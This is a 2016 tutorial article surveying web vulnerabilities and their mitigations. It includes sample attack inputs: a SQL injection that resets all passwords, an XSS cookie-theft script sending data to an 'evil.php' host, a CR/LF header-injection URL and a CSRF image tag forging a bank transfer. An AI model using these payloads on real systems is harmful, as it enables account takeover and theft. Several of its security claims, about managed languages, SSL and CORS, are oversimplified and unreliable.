Skip to content

Web Application Vulnerabilities

Originally published on CodeGuru.com, December 5, 2016.

In today’s world, most developers are building web applications or applications which expose web services publicly.  Most applications are connected to the Internet in some way or another.  However, most developers haven’t been formally (or informally) trained in web application security or which vulnerabilities they should look out for.

Vulnerability Types

Depending upon the type of programming you are doing, including the tools and the infrastructure that you have set up, you need to consider these vulnerability types in your web application:

  • Buffer Overflow
  • Replay
  • Man-in-the-Middle
  • Injection
  • Forgery

Buffer Overflow

Buffer overflow vulnerabilities occur when the provided input is larger than expected.  In non-managed languages, like assembly, C, C++, etc., it’s necessary to allocate memory for strings.  Commonly, errors occur when the buffer size is smaller than the user-provided data.  This could overrun space for other variables, creating opportunities for malicious attacks.

If you’re working in a managed language like .NET, Java, JavaScript, etc., where you don’t directly allocate memory for strings and incoming variables, this is a non-issue.

Replay

Replay attacks rely on recording a sequence of commands, injecting a new malicious command, and replaying those commands back towards the target system.  This vulnerability is largely mitigated using SSL.  Because SSL makes the contents being transported opaque from third parties, they can’t reuse the contents of the transmission, and can’t tamper with it or replay it.

Man in the Middle

A man-in-the-middle attack works by exposing sensitive information that can be used later.  The man-in-the-middle monitors or logs the conversation between a client and a server.  This is later reviewed and used to gain access to sensitive information that can be used to further attack the system.  SSL plays a key role in the prevention of this vulnerability, due to the ability to protect the actual contents of the conversation from the man-in-the-middle.

Injection

The particularly concerning vulnerabilities in web application development are injection vulnerabilities.  There are three kinds of injection to be aware of:

  • SQL
  • Cross Site Scripting (XSS)
  • CR/LF

SQL Injection

Most web applications have some sort of database backend to them.  These databases contain useful information, even if the extent of that information is just the user login information.  Malicious users can attempt to make changes to the SQL server – or to gain administrative access to the web application through carefully crafted data entry.  Consider a login screen where the users name isn’t protected against malicious entry and the user enters:

  • a’; UPDATE users SET password = ‘WooHoo’ —

If this was added to an unprotected query like:

  • SELECT * FROM USERS Where UserName=’%0’ AND Password=’%1’

If %0 and %1 were the username and password, then the string above would set everyone’s password to ‘Woohoo’.  Variants of this could change only the administrative user’s password, or try to.

The mediations for these sorts of attacks are to clean and screen the input, use parametrized queries or create stored procedures – which don’t include dynamic SQL.  Cleaning and screening the input is the best way to prevent all kinds of injection attacks; however, SQL-specific approaches which help the interpreter decipher what should be commands and what should be input should be implemented as well.

Cross Site Scripting

Cross-Site Scripting (XSS) is a real problem.  Malicious users inject script that copies the private information of a user and sends it to their site for later use – or take other actions that the user is unaware of.  Consider this example:

  • <SCRIPT type=”text/javascript”> var adr = ‘../evil.php?cakemonster=’ + escape(document.cookie); </SCRIPT>

Without filtering of any kind, this could copy all the non-HTTP-only cookies to a third-party web service for later use.  Like other injection attacks, cleaning and screening user input – to prevent the introduction of HTML tags in general or specific tags – is the best approach for preventing issues.

A second layer of mediation can be done – particularly if system sources provide data as well – by encoding the output, so whatever is provided isn’t emitted directly but is instead encoded for display.  Thus, users would see the text of the above tag – instead of the tag being executed directly.

Image source: https://www.flickr.com/photos/kullez/6208641647/

CR/LF Injection

Most people forget that HTTP is the protocol that is used to transport HTML, and it’s subject to its own injection.  Consider a web site that reflects out user-provided input like this:

  • http://www.yoursite.com/somepage.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3EHacker Content%3C/html%3E

The problem is that the user-provided input will break the normal HTTP headers.  Like other forms of injection attacks, the best mitigation is to clean and screen all user input.  Some platforms have started to screen CR/LF injection, so depending upon what platform you’re on, you may not have to worry about this one.

Forgery

Unlike injection attacks, forgery attacks don’t require that the site that is being exploited be compromised, but instead requires that the design allows for attacks to be carried out from remote locations.  Consider a banking application that allows the user to issue REST-based commands once the user is logged in.  A malicious user on another web site might place an image tag in their site like this:

  • <img src=”http://bank.com/transfer.do?acct=MARIA&amount=100000″ width=”0″ height=”0″ border=”0″>

The result would be the transfer of funds to an account, because the request to the bank would include any cookies authenticating the user – they’re sent for every request to the domain.  The first mitigation for situations like this is to not accept requests via GET, and instead require HTTP POST methods.  This means that JavaScript would be required.  When coupled with Cross Origin Request Sharing (CORS), the banking site could prevent POST requests for domains other than its own, thus preventing the attack.

A more comprehensive mitigation would have the REST endpoint require an authentication key, session ID, or other unique identifier be provided with the request as a parameter.  This would ensure that the requestor would have been issued the key directly.

Structured Defenses

Ultimately, defending against web vulnerabilities relies on architecture and design of code which doesn’t trust the user to provide valid input – and thus screens all inputs.  Additionally, it requires that requests be made through approved channels.  A few small mistakes can mean an exploited vulnerability.  A few small changes can frequently prevent vulnerabilities.